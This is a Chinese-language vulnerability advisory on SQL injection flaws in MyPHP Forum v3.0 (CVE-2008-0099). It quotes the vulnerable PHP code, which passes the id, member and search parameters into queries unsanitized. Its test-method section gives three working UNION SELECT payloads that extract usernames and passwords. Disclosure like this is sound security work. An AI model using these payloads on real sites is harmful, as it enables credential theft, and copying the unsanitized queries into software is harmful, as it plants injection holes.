发布日期：2008-01-03
更新日期：2008-01-04

受影响系统：

MyPHP.ws MyPHP Forum v3.0 (Final)

描述：

---

BUGTRAQ  ID: 27118
CVE(CAN) ID: CVE-2008-0099

MyPHP Forum是一个易于架设并且易于使用基于MySQL与PHP的论坛。

MyPHP Forum处理用户请求数据时存在输入验证漏洞，远程攻击者可能利用此漏洞执行SQL注入攻击。

MyPHP Forum的faq.php文件没有正确地验证对id参数的输入，member.php文件没有正确验证对member参数的输入，search.php文件没有正确验证对searchtext和searchuser参数的输入，允许攻击者通过注入任意SQL代码控制SQL查询。成功攻击要求禁用了magic_quotes_gpc。

faq.php文件中的漏洞代码：

   <?php
    //faq.php
    [...]
    $id = $_GET['id'];
    if($action == "view" && !empty($id)) {
    $result = mysql_query("SELECT * from $db_faq WHERE id='$id'") or die(mysql_error()); // <-- So miss a control :-D
    $row = mysql_fetch_array($result);
    $row[answer] = postify($row[answer]);
    [...]
   ?>


member.php文件中的漏洞代码：

   <?php
    //member.php
   [...]
    if($action == "viewpro") {
    $member = $HTTP_GET_VARS['member'];
    $query = mysql_query("SELECT * FROM $db_member WHERE username='$member'") or die(mysql_error());
   [...]
   ?>

search.php文件中的漏洞代码：

if($_POST['submit']) {
    $searchtext = $_POST['searchtext'];
    $searchuser = $_POST['searchuser'];

    if(!strstr($searchtext, '"')) {
        $keywords = explode(" ", $searchtext);
        for($i = 0; $i < count($keywords); $i++) {
            if($sqladdon != "") {
                $sqladdon .= " AND p.message LIKE '%$keywords[$i]%'";
            } else {
                $sqladdon .= "p.message LIKE '%$keywords[$i]%'";
            }
        }
    } else {
        $phrase = trim(stripslashes(strstr($searchtext, '"')));
        $quotesarr = explode('"', $phrase);
        $quotes = count($quotesarr);
        $phrasecount = $quotes - (count(explode('" "', $phrase)) + 1);

        for($i = 0; $i < $quotes; $i++) {
            if($i != 0 && $i != $quotes - 1) {
                if($phraseoff != "yes") {
                    $phraselist .= "$quotesarr[$i]|";
                    $phraseoff = "yes";
                } else {
                    $phraseoff = "no";
                }
            }
        }

        $phrasearr = explode("|", $phraselist);
        $phrases = count($phrasearr) - 1;

        for($i = 0; $i < $phrases; $i++) {
            if($sqladdon != "") {
                $sqladdon .= " AND p.message LIKE '%$phrasearr[$i]%'";
            } else {
                $sqladdon .= "p.message LIKE '%$phrasearr[$i]%'";
            }
        }
        
        $newsearchtxt = trim(str_replace("$phrase", "", stripslashes($searchtext)));

        if($newsearchtxt != "") {
            $keywords = explode(" ", $newsearchtxt);
        }

        for($i = 0; $i < count($keywords); $i++) {
            if($sqladdon != "") {
                $sqladdon .= " AND p.message LIKE '%$keywords[$i]%'";
            } else {
                $sqladdon .= "p.message LIKE '%$keywords[$i]%'";
            }
        }
    }

    if($searchuser != "") {
        if($sqladdon != "") {
                $sqladdon .= " AND p.author LIKE '%$searchuser%'";
            } else {
                $sqladdon .= "p.author LIKE '%$searchuser%'";
            }
    }

    if($sqladdon != "" ) {
        search_header();
        $ttnum = 1;        // Now the Vulnerable Query =)
        $query = mysql_query("SELECT t.*, f.name AS forum FROM $db_post p, $db_topic t, $db_forum f WHERE $sqladdon AND t.tid=p.tid AND f.fid=t.fid") or die(mysql_error());

<*来源：x0kster （x0kster@gmail.com）
        The:Paradox
  
  链接：http://secunia.com/advisories/28280/
        http://milw0rm.com/exploits/4831
        http://milw0rm.com/exploits/4822
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

submit=Search&searchtext=%'/**/UNION/**/SELECT/**/0,0,0,concat('<BR/><h3>-=ParadoxGotThisOne=-</h3><BR/><h4>Username:',username,'<BR/>Password:',password,'</h4>'),0,0,0,0,0,0/**/FROM/**/[Prefix]_member/**/WHERE/**/uid=[Id]/*"
http://Site/member.php?action=viewpro&member=-1'+union+select+1,2,3,4,5,6,7,8,9,concat(username,0x3a,password),11,12,13,14,15,16,17,18,19,20,21,22+from+{table_prefix}_member+where+uid=1/*
http://Site/faq.php?action=view&id=-1'+union+select+1,concat(username,0x3a,password),3+from+{table_prefix}_member+where+uid=1/*

建议：

---

厂商补丁：

MyPHP.ws
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www[.]myphp[.]ws/

浏览次数：6741
严重程度：0（网友投票）